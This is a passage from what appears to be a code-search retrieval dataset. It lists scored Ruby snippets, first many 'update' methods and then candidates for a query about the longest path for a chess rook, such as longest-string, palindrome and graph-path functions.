},
{
"docid": "a20f534093aba7e3633ca0ac07a56d53",
"score": "0.59443134",
"text": "def update!(**args)\n @freshness_duration = args[:freshness_duration] if args.key?(:freshness_duration)\n @freshness_property = args[:freshness_property] if args.key?(:freshness_property)\n end",
"title": ""
},
{
"docid": "2c309c8084bf29f0b8d8674d22086956",
"score": "0.59424853",
"text": "def method_missing(method, *args)\n super if @updated\n set_up_properties_from(@client.get(@path))\n self.send method, *args\n end",
"title": ""
},
{
"docid": "2c309c8084bf29f0b8d8674d22086956",
"score": "0.59424853",
"text": "def method_missing(method, *args)\n super if @updated\n set_up_properties_from(@client.get(@path))\n self.send method, *args\n end",
"title": ""
},
{
"docid": "879f1214e030bb2d9e43a0aedb1bc3ea",
"score": "0.593523",
"text": "def update_with(attributes)\n assign_attributes(attributes)\n end",
"title": ""
},
{
"docid": "10b1cb39dbb1f67820e37bb6d2632986",
"score": "0.5926413",
"text": "def update\n # don't need to update; hash is shared\n end",
"title": ""
},
{
"docid": "51982942bd4f09be3f7adc59da4cf104",
"score": "0.5924831",
"text": "def update(attributes)\n HashProxy.with(attributes) do |proxy|\n self.class.attribute_names.each do |name|\n send(\"#{name}=\", proxy[name]) if proxy.key?(name)\n end\n end\n save\n end",
"title": ""
},
{
"docid": "f0dd489c52fa73b1c3846fa43727c29e",
"score": "0.592427",
"text": "def update!(**args)\n @object_id_prop = args[:object_id_prop] if args.key?(:object_id_prop)\n @relation = args[:relation] if args.key?(:relation)\n @subject_id = args[:subject_id] if args.key?(:subject_id)\n end",
"title": ""
},
{
"docid": "4229acd17d03e94871226b09dd3bd37d",
"score": "0.59233046",
"text": "def update!(**args)\n @boolean_property_options = args[:boolean_property_options] if args.key?(:boolean_property_options)\n @date_property_options = args[:date_property_options] if args.key?(:date_property_options)\n @display_options = args[:display_options] if args.key?(:display_options)\n @double_property_options = args[:double_property_options] if args.key?(:double_property_options)\n @enum_property_options = args[:enum_property_options] if args.key?(:enum_property_options)\n @html_property_options = args[:html_property_options] if args.key?(:html_property_options)\n @integer_property_options = args[:integer_property_options] if args.key?(:integer_property_options)\n @is_facetable = args[:is_facetable] if args.key?(:is_facetable)\n @is_repeatable = args[:is_repeatable] if args.key?(:is_repeatable)\n @is_returnable = args[:is_returnable] if args.key?(:is_returnable)\n @is_sortable = args[:is_sortable] if args.key?(:is_sortable)\n @is_suggestable = args[:is_suggestable] if args.key?(:is_suggestable)\n @is_wildcard_searchable = args[:is_wildcard_searchable] if args.key?(:is_wildcard_searchable)\n @name = args[:name] if args.key?(:name)\n @object_property_options = args[:object_property_options] if args.key?(:object_property_options)\n @text_property_options = args[:text_property_options] if args.key?(:text_property_options)\n @timestamp_property_options = args[:timestamp_property_options] if args.key?(:timestamp_property_options)\n end",
"title": ""
},
{
"docid": "4229acd17d03e94871226b09dd3bd37d",
"score": "0.59233046",
"text": "def update!(**args)\n @boolean_property_options = args[:boolean_property_options] if args.key?(:boolean_property_options)\n @date_property_options = args[:date_property_options] if args.key?(:date_property_options)\n @display_options = args[:display_options] if args.key?(:display_options)\n @double_property_options = args[:double_property_options] if args.key?(:double_property_options)\n @enum_property_options = args[:enum_property_options] if args.key?(:enum_property_options)\n @html_property_options = args[:html_property_options] if args.key?(:html_property_options)\n @integer_property_options = args[:integer_property_options] if args.key?(:integer_property_options)\n @is_facetable = args[:is_facetable] if args.key?(:is_facetable)\n @is_repeatable = args[:is_repeatable] if args.key?(:is_repeatable)\n @is_returnable = args[:is_returnable] if args.key?(:is_returnable)\n @is_sortable = args[:is_sortable] if args.key?(:is_sortable)\n @is_suggestable = args[:is_suggestable] if args.key?(:is_suggestable)\n @is_wildcard_searchable = args[:is_wildcard_searchable] if args.key?(:is_wildcard_searchable)\n @name = args[:name] if args.key?(:name)\n @object_property_options = args[:object_property_options] if args.key?(:object_property_options)\n @text_property_options = args[:text_property_options] if args.key?(:text_property_options)\n @timestamp_property_options = args[:timestamp_property_options] if args.key?(:timestamp_property_options)\n end",
"title": ""
},
{
"docid": "32ed734ad4f899f0ee9ec74a760ca1d0",
"score": "0.5921224",
"text": "def update\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "900f4c147e0916b2e9270373fb83c7e2",
"score": "0.59144294",
"text": "def update_attributes attributes\n @attributes.merge! attributes\n end",
"title": ""
},
{
"docid": "f63de190ae582620103d96f60d684114",
"score": "0.59142506",
"text": "def update!(**args)\n @async_options = args[:async_options] if args.key?(:async_options)\n @input_mappings = args[:input_mappings] if args.key?(:input_mappings)\n @name_property = args[:name_property] if args.key?(:name_property)\n @validation_options = args[:validation_options] if args.key?(:validation_options)\n end",
"title": ""
},
{
"docid": "512d9095b05a696270730ee09c640773",
"score": "0.58887535",
"text": "def update\r\n end",
"title": ""
},
{
"docid": "5b1f6d40d29f0afb908434d0a6404ac8",
"score": "0.58854496",
"text": "def update!(**args)\n @hash_prop = args[:hash_prop] if args.key?(:hash_prop)\n @type = args[:type] if args.key?(:type)\n end",
"title": ""
},
{
"docid": "efcb8c985b9e7911a606a9149b4ab171",
"score": "0.5883008",
"text": "def update\n raise NotImplemented\n end",
"title": ""
},
{
"docid": "65f67197ac4544cbebca350d889922ee",
"score": "0.58792305",
"text": "def update_obj\n mean, sd = rating.to_glicko_rating\n @obj.rating = mean\n @obj.rating_deviation = sd\n @obj.volatility = volatility\n end",
"title": ""
},
{
"docid": "c71a8be944fb89ab77a17fd4c16f7193",
"score": "0.5876954",
"text": "def update_values\n end",
"title": ""
},
{
"docid": "c71a8be944fb89ab77a17fd4c16f7193",
"score": "0.5876954",
"text": "def update_values\n end",
"title": ""
},
{
"docid": "10e162e857be9c47150e8eccd327cad9",
"score": "0.58744955",
"text": "def update\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "389ac4585e8143f353e2535499a23085",
"score": "0.5857968",
"text": "def update!(**args)\n @answers_header_signals = args[:answers_header_signals] if args.key?(:answers_header_signals)\n @property_value = args[:property_value] if args.key?(:property_value)\n @response_meaning_application = args[:response_meaning_application] if args.key?(:response_meaning_application)\n end",
"title": ""
},
{
"docid": "c202a823016f05ee2fc4aade77320497",
"score": "0.5845542",
"text": "def update!(**args)\n @create_time = args[:create_time] if args.key?(:create_time)\n @method_prop = args[:method_prop] if args.key?(:method_prop)\n @name = args[:name] if args.key?(:name)\n @state = args[:state] if args.key?(:state)\n end",
"title": ""
},
{
"docid": "dc268f568dcb7aca1d3905736d2477af",
"score": "0.5841629",
"text": "def update attributes, collection #:nodoc:\n 0\n end",
"title": ""
},
{
"docid": "9763ac25d7fdf4b4f35a971609f70b04",
"score": "0.58363605",
"text": "def update_property_groups(roll)\n @property_groups.each { |_, v| v.update_rent(roll) }\n end",
"title": ""
},
{
"docid": "541550458a4c8f94afeb6b10c0cb2293",
"score": "0.5829255",
"text": "def update!(**args)\n @source_property = args[:source_property] if args.key?(:source_property)\n end",
"title": ""
},
{
"docid": "49a282f2ce0c099a5ced60524a492b4f",
"score": "0.582919",
"text": "def update_info(update_attr_hash)\n update_attr_hash.each do |k,v| \n\t\t\tself.send(\"#{k}=\",v)\n\t\tend\n end",
"title": ""
},
{
"docid": "f6c4eafa4f48a0c81157fb03ff350901",
"score": "0.5822138",
"text": "def update_properties(path, properties)\n prop_patch = PropPatch.new(properties)\n emit('propPatch', [path, prop_patch])\n prop_patch.commit\n\n prop_patch.result\n end",
"title": ""
},
{
"docid": "524a6a969929f9af4bad05dbd9c8f935",
"score": "0.58208305",
"text": "def update\n set_deltatime\n set_last_update_at\n end",
"title": ""
}
] |
52297e27e38be8ed92a09dcc3ba33366 | Function to find longest path for Rook | [
{
"docid": "96cfdee73bde914a0792e9fb2bf16b3b",
"score": "0.6763975",
"text": "def ROOK_long_path(position, target)\n now = getposition(position)\n moves = ['move_down', 'move_up', 'move_right', 'move_left']\n\n steps = 0\n long_position = ''\n for i in moves do\n path = inpath(position, i)\n # print path\n long_tile = path_len_tile(path, target)\n # print long_tile\n if long_tile.any? && long_tile[1] > steps\n steps = long_tile[1]\n long_position = long_tile[0]\n end\n end\n return [long_position, steps + 1]\n # print ROOK_long_path('h5')\n end",
"title": ""
}
] | [
{
"docid": "fcea8d19058f621b66d13dbfdc493701",
"score": "0.79454404",
"text": "def longest_path_1(edges)\nend",
"title": ""
},
{
"docid": "d9a98242ff85f586ad9065ea26e0abe2",
"score": "0.76643443",
"text": "def find_longest_path_length_to_leaf(source)\n longest = 0\n\n find_leaves.each do |a_leaf|\n begin\n temp_result = find_longest_path_length(source,a_leaf)\n rescue\n temp_result = 0\n end\n\n longest = [longest, temp_result].max if temp_result\n end\n\n longest\n end",
"title": ""
},
{
"docid": "defc847df4bf4e0a96a540d59e526b4a",
"score": "0.7292136",
"text": "def find_max_path_length_recursively\n if self.outgoing_edges.exists?\n available_path_lengths = self.next_vertices.map do |vertex|\n [vertex.id, 1 + vertex.find_max_path_length_recursively]\n end\n longest = available_path_lengths.max{|a,b| a[1] <=> b[1]}[1]\n return longest\n else\n return 0;\n end\n end",
"title": ""
},
{
"docid": "9b64164b2328497c1eb0d12833df97dd",
"score": "0.685509",
"text": "def longest_common_subpath(paths)\n return if paths.empty?\n\n lcsp = Pathname.new(paths[0])\n\n paths[1..-1].each do |path|\n until ascendant_of?(lcsp, path)\n if lcsp.root?\n # If we get here a root directory is not an ascendant of path.\n # This may happen if there are paths in different drives on\n # Windows.\n return\n else\n lcsp = lcsp.parent\n end\n end\n end\n\n lcsp\n end",
"title": ""
},
{
"docid": "9d8c4727bcf42f16f4a8792a56ec4f06",
"score": "0.6540615",
"text": "def height\n longest_tree_path(@root)\n end",
"title": ""
},
{
"docid": "76cfdd6aedffbea583fe14d4f39cc75a",
"score": "0.6428498",
"text": "def longest_distance()\n max = 0\n s = \"\"\n @edges.each do |city, dests|\n dests.each do |dest|\n if max < dest.distance\n max = dest.distance\n s = \"#{city} to #{dest.name}\"\n end\n end\n end\n \"Longest distance is #{max} from #{s}\"\n end",
"title": ""
},
{
"docid": "739d68e5efdcda0574026c328761895e",
"score": "0.6411722",
"text": "def longestSub(str)\n\n\nend",
"title": ""
},
{
"docid": "15916fef233af264cc9426f6f3bc22fd",
"score": "0.63521546",
"text": "def longest_string\nend",
"title": ""
},
{
"docid": "e3a77d9baa7412f22fa34087ec5909fe",
"score": "0.633319",
"text": "def longest_bridges(input)\n components = Set.new(parse(input))\n starters = components.select { |c| c[0].zero? }\n longest = []\n max = 0\n starters.each do |starter|\n bridge_each(components, starter) do |bridge|\n longest = [] if bridge.length > max\n longest << bridge if bridge.length >= max\n max = bridge.length if bridge.length > max\n end\n end\n longest\nend",
"title": ""
},
{
"docid": "82b1320a2b4bda2717e4fdcbd43e2d9e",
"score": "0.6331376",
"text": "def find_longest(arr)\n arr.max_by { |x| x.to_s.length }\nend",
"title": ""
},
{
"docid": "4651ac3922713278b5bbc420c19dd2c1",
"score": "0.63174313",
"text": "def longest_string \nend",
"title": ""
},
{
"docid": "6cb1c5cefe9ce0cb6caf2546a0c93efa",
"score": "0.6287822",
"text": "def longest_single_flight\n\n max_distance = -1\n flight = \"\"\n @query.get_graph.each_key do |city|\n route_dict = get_outgoing_routes(city)\n route_dict.each do |dest, dist|\n if dist > max_distance\n max_distance = dist\n flight = \"#{get_city_info(city,\"name\")}-#{dest}\"\n end\n end\n end\n\n return flight\n\n end",
"title": ""
},
{
"docid": "e684278e670023126538f84322514625",
"score": "0.6286282",
"text": "def get_max_path(num_pyramid)\n num_pyramid.each_index do |i|\n next if i == 0\n num_pyramid[i].each_index do |j|\n num_pyramid[i][j] += [num_pyramid[i - 1][j], num_pyramid[i - 1][j + 1]].max\n end\n end\n\n num_pyramid[-1].first\nend",
"title": ""
},
{
"docid": "6898c4f72b7c4d9d142a878711c3b8d1",
"score": "0.62757653",
"text": "def longest (arr)\n arr.max_by {|str| str.length}\nend",
"title": ""
},
{
"docid": "94a1933aa69824bdc706e429c12d5915",
"score": "0.6266669",
"text": "def longest_string ar\n return ar.max_by(&:length)\nend",
"title": ""
},
{
"docid": "6dbf2bd094d61d70a40cd8073345c6e6",
"score": "0.6249169",
"text": "def search(node)\n longest_path = 0\n if (@paths[node])\n @paths[node].each_index do |next_idx|\n next_node = @paths[node][next_idx]\n @paths[node].delete_at(next_idx)\n tmp = 1 + search(next_node)\n @paths[node].insert(next_idx,next_node)\n if (longest_path < tmp)\n longest_path = tmp\n end\n end\n end\n return longest_path\n end",
"title": ""
},
{
"docid": "6dbf2bd094d61d70a40cd8073345c6e6",
"score": "0.6249169",
"text": "def search(node)\n longest_path = 0\n if (@paths[node])\n @paths[node].each_index do |next_idx|\n next_node = @paths[node][next_idx]\n @paths[node].delete_at(next_idx)\n tmp = 1 + search(next_node)\n @paths[node].insert(next_idx,next_node)\n if (longest_path < tmp)\n longest_path = tmp\n end\n end\n end\n return longest_path\n end",
"title": ""
},
{
"docid": "dad8e61740fe81114c440252913bfcd6",
"score": "0.62475526",
"text": "def longest str\n\tstr.max_by(&:length)\nend",
"title": ""
},
{
"docid": "eae303c9886e31d51699b5cc178a59f0",
"score": "0.62266845",
"text": "def longest_string array\n array.max_by(&:length)\nend",
"title": ""
},
{
"docid": "71c5999b38124d41bbd5948797fc0ea8",
"score": "0.6202043",
"text": "def longest_path_from_segment(segment, visited_segments = [])\n visited_segments << segment\n unvisited_segments = unvisited_connected_segments(segment, visited_segments)\n return visited_segments if unvisited_segments.empty?\n further_visited_segments = unvisited_segments.map do |next_segment|\n longest_path_from_segment(next_segment, visited_segments.dup)\n end\n further_visited_segments.max_by(&:length)\n end",
"title": ""
},
{
"docid": "6ea636d03f1b85fedfe9833bb90df376",
"score": "0.61999893",
"text": "def longest_mountain(arr)\n return 0 if arr.length < 3\n max = 0\n idx = 0\n\n until arr[idx + 2].nil?\n max_from_idx = identify_mountain(arr, idx)\n if max_from_idx > max\n max = max_from_idx\n idx = idx + max_from_idx - 1\n else\n idx += 1\n end\n end\n max\nend",
"title": ""
},
{
"docid": "2b8e51848e4cf4ea71f0bfe3ba6f311f",
"score": "0.6180248",
"text": "def longest_string ar\n\tar.max_by(&:length)\nend",
"title": ""
},
{
"docid": "c8bd061d1b2cacea580de50c991af76b",
"score": "0.61792815",
"text": "def get_longest_path(clear_cache = false)\n\n\tFile.delete(longest_cache_file) if clear_cache && File.exist?(longest_cache_file)\n\n\tif File.exist?(longest_cache_file)\n\n\t\tcontent_type :json unless is_rake\n\t\tsend_file longest_cache_file\n\n\telse\n\n\t\tneo = Neography::Rest.new(ENV['NEO4J_URL'] || 'http://localhost:7474')\n\n\t\tout = {\n\t\t\t:nodes => [],\n\t\t\t:links => [],\n\t\t}\n\n\t\ti = 0\n\t\tfind_longest_path(neo).each do |path|\n\n\t\t\tpath[0].each_with_index do |n, index|\n\n\t\t\t\tout[:nodes] << {\n\t\t\t\t\t:name => n[1],\n\t\t\t\t\t:type => n[2],\n\t\t\t\t\t:id => n[0],\n\t\t\t\t\t:group => n[2] == 'user' ? 2 : 1,\n\t\t\t\t}\n\n\t\t\t\tif index < path[0].length - 1\n\n\t\t\t\t\tout[:links] << {\n\t\t\t\t\t\t:source => i,\n\t\t\t\t\t\t:target => i + 1,\n\t\t\t\t\t\t:value => 1,\n\t\t\t\t\t}\n\n\t\t\t\tend\n\n\t\t\t\ti = i + 1\n\n\t\t\tend\n\n\t\tend\n\n\t\tFile.open(longest_cache_file, 'w'){ |f| f << out.to_json }\n\n\t\tunless is_rake\n\n\t\t\tcontent_type :json\n\t\t\t#JSON.pretty_generate(out) # pretty print\n\t\t\tout.to_json # normal out\n\n\t\tend\n\n\tend\n\nend",
"title": ""
},
{
"docid": "c6192f903d28410f2b98c73290c167bd",
"score": "0.6166851",
"text": "def longest_string array\n\tarray.max_by(&:length)\nend",
"title": ""
},
{
"docid": "ac13e51228066d65f99679668df475f8",
"score": "0.61451685",
"text": "def longest(array)\n return array.max\nend",
"title": ""
},
{
"docid": "6c0553535b7dc0ef861310e6f1cb0c30",
"score": "0.6117988",
"text": "def longest\n @strings.max { |a,b| a.length <=> b.length}\n end",
"title": ""
},
{
"docid": "2ace306a14660cf8063696a3fc83c8d8",
"score": "0.6092587",
"text": "def longest_string\n walker.push(revision)\n shas = walker.map(&:oid)\n Shamazing.string_from_array(shas)\n end",
"title": ""
},
{
"docid": "5c569ea1d2980de891ebf74fe8d29f47",
"score": "0.60892415",
"text": "def longest(string)\n sliced = string.chars.slice_when {|a,b| a > b}.to_a\n longest = sliced.max_by {|sub_arr| sub_arr.length}.join\nend",
"title": ""
},
{
"docid": "724975aeddf9b0f8e95a3f247acaabf9",
"score": "0.6077809",
"text": "def find_longest(arr)\n arr.map(&:to_s).sort_by(&:length).find { |num| num.length == arr.map(&:to_s).sort_by(&:length).last.length }.to_i\nend",
"title": ""
},
{
"docid": "a9f90dd34597f27fef3e6693785aaa18",
"score": "0.60681057",
"text": "def longest_startstop\n startstop(0).first\n end",
"title": ""
},
{
"docid": "7a5b36d055af1b7fc9ee98a58983c0e4",
"score": "0.6037081",
"text": "def longest_digit_run(digit)\nend",
"title": ""
},
{
"docid": "fa616c5b6834e0045074e0ee277576ed",
"score": "0.60365635",
"text": "def longest_slide_down(pyramid)\n pyramid.each_with_index do |row, ri|\n row.each_with_index do |elem, ei|\n next if ri < 1\n # set variables\n left = pyramid[ri - 1][ei - 1]\n right = pyramid[ri - 1][ei]\n left = left.nil? ? 0 : left\n right = right.nil? ? 0 : right\n pyramid[ri][ei] += left > right ? left : right\n end\n end\n return pyramid.last.max\nend",
"title": ""
},
{
"docid": "0e95f52a02239a48c25f31a3df29f32e",
"score": "0.6028816",
"text": "def find_longest_path(neo)\n\n\tcypher_query = ' START user = node:nodes_index(type = \"user\")'\n\tcypher_query << ' MATCH path=user-[:follows*]-repo'\n\tcypher_query << ' WITH path, LENGTH(path) AS cnt'\n\tcypher_query << ' RETURN extract(n in nodes(path): [ID(n), n.name, n.type])'\n\tcypher_query << ' ORDER BY cnt DESC'\n\tcypher_query << ' LIMIT 5'\n\n\tneo.execute_query(cypher_query)['data']\n\nend",
"title": ""
},
{
"docid": "9019b0911bfba249364a369c2dcd409c",
"score": "0.599797",
"text": "def longest_string(array)\n\tarray.max_by(&:length)\nend",
"title": ""
},
{
"docid": "abf73041c6f4dadb8bb431fa3545ae7d",
"score": "0.5991307",
"text": "def longest_entry(words)\n return words.max_by(&:length)\n end",
"title": ""
},
{
"docid": "e917c67f9a7608bc5c31ad08eeaba9da",
"score": "0.59881103",
"text": "def clever_octopus(arr)\n longest = nil\n\n arr.each do |fish|\n longest = fish if longest.nil? || fish.length > longest.length\n end\n\n longest\nend",
"title": ""
},
{
"docid": "4dd2a487400f62e33a86b56af6c05b64",
"score": "0.59838134",
"text": "def find_longest_palindrome(string)\n l = string.size\n l.downto(0) { |i|\n 0.upto(l) { |j|\n s = string.slice(j,i)\n return s if s == s.reverse && s.size > 1\n }\n }\nend",
"title": ""
},
{
"docid": "b7e1039c49437fe397ddbb7ce0014708",
"score": "0.5983732",
"text": "def longest(stringArray)\n return stringArray.max_by(&:length)\nend",
"title": ""
},
{
"docid": "60aba582ab8523466c949902cadb91c7",
"score": "0.5976716",
"text": "def longest(str)\n return str if str.length == 1\n current = str[0]\n longest = ''\n\n 1.upto(str.size-1) do |idx|\n if current[-1] <= str[idx]\n current += str[idx]\n else\n if current.length > longest.length\n longest = current\n end\n current = str[idx]\n end\n end\n\n if current.length > longest.length\n longest = current\n end\n\n longest\nend",
"title": ""
},
{
"docid": "531b6374348b9f59f49ee74ecff0bff7",
"score": "0.5967605",
"text": "def longest(s1, s2)\n (s1 + s2).split(//).sort.uniq.join\nend",
"title": ""
},
{
"docid": "a1b6d2838797ed811307c6f7afd51104",
"score": "0.59675074",
"text": "def linear_longest_fish(fishes)\n biggest = fishes.first\n fishes.each do |fish|\n biggest = fish if fish.length > biggest.length\n end\n biggest\nend",
"title": ""
},
{
"docid": "1e5016f66fe6833a4bdc9bf08cd3674e",
"score": "0.5960052",
"text": "def longest_prefix(strings)\n strings.each do |string|\n if string.length == 0\n return \"\"\n end \n end \n prefix = strings[0]\n (1...strings.length).each do |n|\n (0...prefix.length).each do |i|\n if strings[n][i] != prefix[i]\n if i == 0\n prefix = \"\"\n break\n else \n prefix = prefix[0...i]\n break\n end \n end \n end \n end \n return prefix\nend",
"title": ""
},
{
"docid": "a8f1491adf72395d1cb6d1f31dbd81ab",
"score": "0.5955836",
"text": "def longest_mountain(arr)\n # Return if the input array's length is less than the minimum mountain length\n return 0 if arr.length < 3\n mountain_cache = Array.new(arr.length, 0)\n idx = 0\n\n # Break if the remaining array is less than 3 in length.\n until arr[idx + 2].nil?\n #\n mountain_cache[idx] = identify_mountain(arr, idx)\n mountain_cache[idx] == 0 ? idx += 1 : idx = idx + mountain_cache[idx] - 1\n end\n # Lastly, we return the maximum mountain length\n mountain_cache.max\nend",
"title": ""
},
{
"docid": "aaa4f640b4c4fdf4bdf9b8a43488f186",
"score": "0.59444743",
"text": "def longest_dominos(string)\n i = 0\n j = 0\n result = 0\n\n return 0 if string.length < 2\n\n\tfor k in (0..(string.length) - 2) do\n\t\tleft = string[k][2]\n\t\trigth = string[k + 1][0]\n\n if (left == rigth)\n j += 1\n else\n i = j\n end\n\n\t\tresult = [result, j - i].max\n\tend\n\n\tresult\nend",
"title": ""
},
{
"docid": "9fc780c74e7171cd4936906c70103419",
"score": "0.59435886",
"text": "def longest_streak str \n str.split('L').max.length\nend",
"title": ""
},
{
"docid": "cbc6473f621c45d049bbd8004acb5415",
"score": "0.5938487",
"text": "def longest_string(arr)\n arr.max_by { |word| word.length }\nend",
"title": ""
},
{
"docid": "bc19620b008b533aefe5c8e073b91cf6",
"score": "0.59290165",
"text": "def find_longest(sorted_data, key)\n keys = sorted_data.map { |h| h[key].to_s }\n return keys.max_by(&:length).length\n end",
"title": ""
},
{
"docid": "fc5cf492efdbdf7894dce020db83aadd",
"score": "0.59240586",
"text": "def longest_palindrome(string)\n \nend",
"title": ""
},
{
"docid": "7a33f0d611e4e7681a96ac2762067d75",
"score": "0.59225076",
"text": "def longest_palindrome(s)\n max = \"\"\n 0.upto(s.size - 1).each { |i|\n odd = palindrome(s, i, i)\n even = palindrome(s, i, i + 1)\n \n return s if odd.size == s.size || even.size == s.size\n max = odd if odd.size > max.size\n max = even if even.size > max.size\n }\n\n max \nend",
"title": ""
},
{
"docid": "bea190fd7c96ebd4cc6883efbb81d3c8",
"score": "0.59108055",
"text": "def longest_palindrome(str)\n \nend",
"title": ""
},
{
"docid": "491d445d186df854654d9abe07479a26",
"score": "0.5892273",
"text": "def longest_palindrome(string)\n\nend",
"title": ""
},
{
"docid": "491d445d186df854654d9abe07479a26",
"score": "0.5892273",
"text": "def longest_palindrome(string)\n\nend",
"title": ""
},
{
"docid": "491d445d186df854654d9abe07479a26",
"score": "0.5892273",
"text": "def longest_palindrome(string)\n\nend",
"title": ""
},
{
"docid": "5c9bf5f666d0db3e117064ce3f9be9bd",
"score": "0.5885967",
"text": "def longest_palindrome(str)\n\nend",
"title": ""
},
{
"docid": "9f7d1e5200546f7e96eed0e57c0b5686",
"score": "0.5880152",
"text": "def clever_octopus(arr)\n longest = \"\"\n arr.each {|el| longest = el if el.length >= longest.length}\n longest\nend",
"title": ""
},
{
"docid": "6dbb472bda4fd92621a6c9bd716683dc",
"score": "0.58789057",
"text": "def longest_string(string_array)\n string_array.max_by(&:length)\nend",
"title": ""
},
{
"docid": "66ab0e304ecd724a64b2986a7e9df499",
"score": "0.5877866",
"text": "def longest2(collection)\n collection.max { |a, b| a.length <=> b.length }\nend",
"title": ""
},
{
"docid": "f2af64c387d56af93d12bd8e7e182625",
"score": "0.5875502",
"text": "def linear_fish(arr)\n longest = nil\n arr.each_with_index do |fish, idx|\n longest = fish if longest.nil? || fish.length > longest.length\n end\n\n longest\nend",
"title": ""
},
{
"docid": "b633ee164116d81c744f871cf1b0f561",
"score": "0.5859858",
"text": "def clever_octopus(arr)\n longest = \"\"\n arr.each do |el|\n longest = el if el.length > longest.length\n end\n longest\nend",
"title": ""
},
{
"docid": "70125b5c4e975a5acfb50a5a560ec922",
"score": "0.5857583",
"text": "def longest_chain()\r\n\tmax_num = 1000000\r\n\tcache = Array.new(max_num, -1)\r\n\tcache.unshift(1)\r\n\r\n\tlength = (1..max_num).map{ |num| [collatz_length(num, cache), num] }.sort\r\n\treturn length.last.join(', ')\r\nend",
"title": ""
},
{
"docid": "034cfef24feaecc7d374a900b4164862",
"score": "0.5855839",
"text": "def clever_octopus(fish)\n longest = fish.first\n\n fish.each do |el|\n if el.length > longest.length\n longest = el\n end\n end\n longest\nend",
"title": ""
},
{
"docid": "d6ed21216ae2e92a6fb2aafc329cf214",
"score": "0.5849286",
"text": "def longest_palindrome(string)\nend",
"title": ""
},
{
"docid": "8c30a2e3b405b5eeb764a02d7554a975",
"score": "0.5840741",
"text": "def longest_string_length\n longest_string.size\n end",
"title": ""
},
{
"docid": "9003928d4d72486ed5727d587eec10bc",
"score": "0.58335596",
"text": "def longest_parlindrom_substring string\n return string if string.length < 2\n\n length = string.length\n memo = {}\n\n 1.upto(length) do |sub_length|\n 0.upto(length - sub_length) do |start_i|\n\n last_i = start_i + sub_length - 1\n indice = [start_i, last_i]\n\n next unless string[start_i] == string[last_i]\n\n memo[indice] = 1 if start_i == last_i\n memo[indice] = 2 if start_i + 1 == last_i\n\n indice_of_sub_substring = [start_i+1, last_i-1]\n \n if memo.has_key?(indice_of_sub_substring)\n memo[indice] = 2 + memo[indice_of_sub_substring]\n end\n end\n end\n indice = memo.key(memo.values.max)\n string[indice[0]..indice[1]]\nend",
"title": ""
},
{
"docid": "480bdf79ff8cb56c8cbc52f386a8ae75",
"score": "0.58275473",
"text": "def dominant_longest_first(fish)\n dominant_octopus(fish).first\nend",
"title": ""
},
{
"docid": "cfa13c113c719284f51ef40fe40e129b",
"score": "0.58201605",
"text": "def longest_prefix(strings)\n if strings.length < 2\n raise ArgumentError\n else\n prefix = \"\"\n l = 0\n (strings.min.length).times do\n s = 0\n track = 0\n (strings.length - 1).times do\n if strings[s][l] == strings [(s+1)][l]\n track += 1\n else\n break\n end\n s += 1\n end\n if track == (strings.length - 1)\n prefix << strings.min[l]\n else\n break\n end\n l += 1\n end\n return prefix\n end\nend",
"title": ""
},
{
"docid": "36513b26d88cefe2b382a00a5695eac1",
"score": "0.5819596",
"text": "def path_length(guess)\n Log.indent(\"path_length #{guess.inspect}\") do\n do_path_length(guess).tap{|x| Log.debug(\"returning #{x.inspect}\")}\n end\n end",
"title": ""
},
{
"docid": "6b0e2ce7b8c05ad9a7c2927bfed29916",
"score": "0.5814678",
"text": "def longest_prefix(strings)\n return \"\" if strings.empty? \n index = 0\n min = strings.min_by{|s| s.length} # find the shortest string\n longest_prefix = \"\"\n while index < min.length # keep running based on the length of the sortest the string \n strings.each do |string|\n if min[index] != string[index] # if the it's not equal, return the \"\"\n return longest_prefix\n end\n end\n longest_prefix += min[index]\n index +=1\n end \n return longest_prefix\nend",
"title": ""
},
{
"docid": "79faddb951db1eea062a075506afdf3c",
"score": "0.5812987",
"text": "def QUEEN_long_path(position, target)\n now = getposition(position)\n moves = ['move_down', 'move_up', 'move_right', 'move_left', 'move_down_right', 'move_down_left', 'move_up_right',\n 'move_up_left']\n steps = 0\n long_position = ''\n for i in moves do\n # print i\n path = inpath(position, i)\n # print path\n long_tile = path_len_tile(path, target)\n # print long_tile\n if long_tile.any? && long_tile[1] > steps\n steps = long_tile[1]\n long_position = long_tile[0]\n end\n end\n\n return [long_position, steps+1]\n end",
"title": ""
},
{
"docid": "6b0418558640acea8c8f056088de4f26",
"score": "0.5812745",
"text": "def longest_segment(input, delimeter)\n s = input.split(delimeter)\n #s.sort_by{|x| x.size}.last\n s.max{|x,y| x.length <=> y.length}\nend",
"title": ""
},
{
"docid": "57ea129adab2b4a87dd97ae6dca55cf0",
"score": "0.5805833",
"text": "def longest_palindrome(str)\n result = [0, \"\"]\n for i in (0..str.length - 1)\n p1 = expand(str, i, i) \n result = result[0] > p1.length ? result : [p1.length, p1]\n p2 = expand(str, i, i + 1) \n result = result[0] > p2.length ? result : [p2.length, p2]\n end\n result[1]\nend",
"title": ""
},
{
"docid": "020a208af942a5112af65609ebcb4f56",
"score": "0.5802586",
"text": "def longest_sequence_in(string)\n arr = string.split(' ').map{|num| num.to_i}\n if arr.length < 3\n return arr.length\n end\n chain_tracker = [2]\n increment = arr[1] - arr[0]\n chain = 2\n arr.each_with_index do |num, idx|\n if idx != 0 and idx != arr.length - 1\n if arr[idx + 1] - arr[idx] == increment \n chain += 1\n chain_tracker << chain\n else \n chain = 2\n increment = arr[idx + 1] - arr[idx]\n end\n end\n end\n chain_tracker.max\nend",
"title": ""
},
{
"docid": "feb0f7d3cc13dfcb84289d437184367b",
"score": "0.5800937",
"text": "def cmd_youngest\n puts @fs.youngest_rev\n end",
"title": ""
},
{
"docid": "b858c7f1f185cb3e9331d27fcad9c867",
"score": "0.5799602",
"text": "def lsworc s\n i = 0\n max_len = 0\n cc = {}\n s.chars.each_with_index do |c, j|\n if !!cc[c]\n # contract window\n while s[i] != c\n cc[s[i]] = false\n i += 1\n end\n i += 1\n end\n # expand window\n cc[c] = true\n # select longest\n max_len = [max_len, j + 1 - i].max\n end\n return max_len\nend",
"title": ""
},
{
"docid": "fb5d0ce67bd114f68cf3b27f1ab4993c",
"score": "0.5790082",
"text": "def find_longest(arr)\n x = arr.map(&:to_s).sort_by { |x| x.length }.last.chars.length\n arr.map(&:to_s).find { |num| num.length == x }.to_i\nend",
"title": ""
},
{
"docid": "888b38fc2bd9813e0e0d016a498c6248",
"score": "0.57895595",
